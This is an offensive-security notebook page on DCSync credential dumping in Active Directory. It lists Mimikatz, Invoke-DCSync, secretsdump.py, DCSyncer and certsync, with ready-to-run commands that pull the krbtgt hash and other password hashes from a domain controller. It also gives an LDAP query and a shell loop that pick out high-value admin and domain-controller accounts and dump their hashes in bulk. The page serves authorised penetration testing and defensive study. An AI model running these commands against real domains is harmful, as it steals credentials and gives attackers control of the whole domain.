Pentester's Promiscuous Notebook
search
Ctrlk
TwitterGitHubBlog
  • README
  • ⚒️Pentest
    • C2chevron-right
    • Infrastructurechevron-right
      • ADchevron-right
        • ACL Abuse
        • AD CS Abusechevron-right
        • ADIDNS Abuse
        • Attack Trusts
        • Attack RODCs
        • AV / EDR Evasionchevron-right
        • Authentication Coercion
        • Credentials Harvestingchevron-right
          • From Memorychevron-right
          • Credential Phishing
          • DCSync
          • DPAPI
          • KeePass
          • Linux
          • LSA
          • NetSync
          • NPLogonNotify
          • NTDS
          • Password Filter
          • RDP
          • SAM
          • SSH Clients
          • SSPI
          • Windows Hello
        • Discovery
        • DnsAdmins
        • Dominance
        • gMSA / dMSA
        • GPO Abuse
        • Kerberoschevron-right
        • Key Credentials Abuse
        • LAPS
        • Lateral Movementchevron-right
        • LDAP
        • NTLMchevron-right
        • Password Spraying
        • Post Exploitation
        • Pre-created Computers Abuse
        • PrivExchange
        • Privileges Abusechevron-right
        • RID Cycling
        • SCCM Abuse
        • SMB
        • Token Manipulation
        • User Hunt
        • WSUS
        • Zerologon
      • Azure ADchevron-right
      • DevOpschevron-right
      • DBMSchevron-right
      • Authentication Brute Force
      • File Transfer
      • IPMI
      • Kiosk Breakout
      • Low-Hanging Fruits
      • LPE
      • Networkschevron-right
      • NFS
      • Persistence
      • Pivoting
      • Post Exploitation
      • SNMP
      • SSH
      • TFTP
      • VNC
    • OSINTchevron-right
    • Password Brute Forcechevron-right
    • Perimeterchevron-right
    • Shellschevron-right
    • Webchevron-right
    • Wi-Fichevron-right
  • ⚔️Red Team
    • Basics
    • Infrastructure
    • Developmentchevron-right
  • 🐞Exploit Dev
    • BOFchevron-right
    • RE
    • WinDbg
  • ⚙️Admin
    • Git
    • Linuxchevron-right
    • Networkingchevron-right
    • Virtualizationchevron-right
    • Windows
gitbookPowered by GitBook
block-quoteOn this pagechevron-down
  1. ⚒️Pentestchevron-right
  2. Infrastructurechevron-right
  3. ADchevron-right
  4. Credentials Harvesting

DCSync

DS-Replication-Get-Changes + DS-Replication-Get-Changes-All

  • https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsyncarrow-up-right

  • https://habr.com/ru/company/rvision/blog/709866/arrow-up-right

  • https://habr.com/ru/company/rvision/blog/709942/arrow-up-right

  • https://nullg0re.com/2023/09/hijacking-someone-else-dcsync/arrow-up-right

hashtag
Tools

hashtag
Mimikatz

hashtag
Invoke-Mimikatz

  • https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/credentials/Invoke-Mimikatz.ps1arrow-up-right

hashtag
Invoke-DCSync.ps1

  • https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/credentials/Invoke-DCSync.ps1arrow-up-right

hashtag
DCSyncer

  • https://www.notsoshant.io/tools/dcsyncer/arrow-up-right

  • https://github.com/notsoshant/DCSyncerarrow-up-right

hashtag
secretsdump.py

hashtag
Targeted DCSync

When performing targeted DCSync (e. g., for persistence purposes) choose the most valuable accounts. One can use the following LDAP query to search for effective domain admins (adminCount=1) as well as DC computer accounts (SERVER_TRUST_ACCOUNT bit or userAccountControl=8192 is set):

hashtag
certsync

  • https://github.com/zblurx/certsyncarrow-up-right

Last updated 2 years ago

  • Tools
  • Mimikatz
  • Invoke-DCSync.ps1
  • DCSyncer
  • secretsdump.py
  • certsync
mimikatz # lsadump::dcsync /domain:megacorp.local /user:MEGACORP\krbtgt
mimikatz # lsadump::dcsync /domain:megacorp.local /user:[email protected]
PS > Invoke-Mimikatz -Command '"lsadump::dcsync /domain:megacorp.local /user:MEGACORP\krbtgt" "exit"'
PS > Invoke-DCSync -GetComputers -Domain megacorp.local -DomainController DC1.megacorp.local
$ secretsdump.py MEGACORP/snovvcrash:'Passw0rd!'@DC1.megacorp.local -dc-ip 192.168.1.11 -just-dc-user 'MEGACORP\krbtgt'
$ secretsdump.py DC1.megacorp.local -dc-ip 192.168.1.11 -just-dc-user 'MEGACORP\krbtgt' -k -no-pass
(&
	(|
		(&(objectCategory=person)(objectClass=user))
		(&(objectCategory=computer)(objectClass=computer))
	)
	(!(userAccountControl:1.2.840.113556.1.4.803:=2))
	(|
		(adminCount=1)
		(userAccountControl:1.2.840.113556.1.4.803:=8192)
	)
)

$ windapsearch --dc 192.168.1.11 -d megacorp.local -u 'DC1$' --hash fc525c9683e8fe067095ba2ddc971889 -m custom --filter '(&(|(&(objectCategory=person)(objectClass=user))(&(objectCategory=computer)(objectClass=computer)))(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(adminCount=1)(userAccountControl:1.2.840.113556.1.4.803:=8192)))' --attrs msDS-PrincipalName | grep msDS | awk '{print $2}' | tee high-value-targets.txt
$ for t in `cat high-value-targets.txt`; do secretsdump.py -pwd-last-set MEGACORP/'DC1$'@192.168.2.22 -hashes :fc525c9683e8fe067095ba2ddc971889 -just-dc-user $t | grep aad3b | tee -a high-value-hashes.txt; done
Or
$ secretsdump.py -pwd-last-set MEGACORP/snovvcrash:'Passw0rd!'@DC1.megacorp.local -dc-ip 192.168.1.11 -ldapfilter '(&(|(&(objectCategory=person)(objectClass=user))(&(objectCategory=computer)(objectClass=computer)))(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(adminCount=1)(userAccountControl:1.2.840.113556.1.4.803:=8192)))' | grep aad3b | tee high-value-hashes.txt
$ certsync -d megacorp.local -u snovvcrash -p 'Passw0rd!' -dc-ip 192.168.1.11 -ns 192.168.1.11